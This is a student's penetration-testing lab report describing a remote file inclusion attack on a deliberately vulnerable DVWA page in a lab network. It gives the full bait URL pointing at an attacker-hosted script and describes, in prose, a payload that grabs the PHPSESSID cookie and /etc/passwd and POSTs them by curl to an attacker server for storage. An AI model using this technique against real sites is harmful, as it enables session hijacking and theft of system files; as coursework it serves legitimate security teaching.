John Rader

Programming: Penetration Testing

Dr. Perry

April 25th, 2018

Project 5: PHP Web App Exploitation

**Summary**: This objective of this project was to exploit an RFI vulnerability in PHP. We were given a server VM which hosted a specific webpage that we altered to allow for the RFI vulnerability. This vulnerability allows us to include a PHP script into the URL of the page with the vulnerability allowing the page to run the PHP script as the page is loaded. For this to work however, we needed to enable the settings in the PHP config file on the server host VM. We rewrote both the “allow\_url\_include” and “allow\_url\_fopen” elements in the config file to on to allow for the exploitation. This exploitation works because the page itself it a PHP file. So, when we include our PHP script to the URL, it runs along with the webpage itself. An important note is that in order to get this script to run on the target server and not my server “the attackers server” we need to leave off the .php extension of the file. We do this because by default, Apache web servers configure and run any file with the .php extension before sending it to the requester. If we left this on it would cause the script to run on the attackers machine instead of the target server. When we leave off the .php extension, the script is essentially added to the PHP code of the page and is run with the page instead of before. I will now go over the exploit step by step to explain what is being done along the way.

**Baitlink.html**: This part is very simple, it is simply an HTML page with a hyperlink the site with the exploit. The URL of the hyperlink is the address of the site with the included redirection to the exploitation script. The URL is : <http://10.0.2.7/dvwa/vulnerabilities/fi/?page=http://10.0.2.15/postinfo>.

The first IP is the IP of the target server while the second IP is the IP of the attackers server hosting the postinfo exploitation script.

**Postinfo**: This was the exploit script. Once the link is clicked, this script is added to the PHP code of the webpage, thus running this script. The script simply saves the PHPSESSID cookie in a variable and uses the method “file\_get\_contents” to get the contents of the /etc/passwd file on the hardware of whoever clicked the link. The content of this file is saved into another variable. These two variables are concatenated into a single and assigned to ‘passwds’ and ‘cookie’. The script then creates a curl connection to the attackers server to save the information. The variable containing all of the stolen information is POSTed to this connection on the attackers server.

**Savedinfo.php**: This is a PHP script on the attackers server that stores the stolen information. We have two created text files, “stolenpasswds” and “stolencookies” which we are using to store the data. This script simply open these files, writes the specified POST values to them, and then closes them.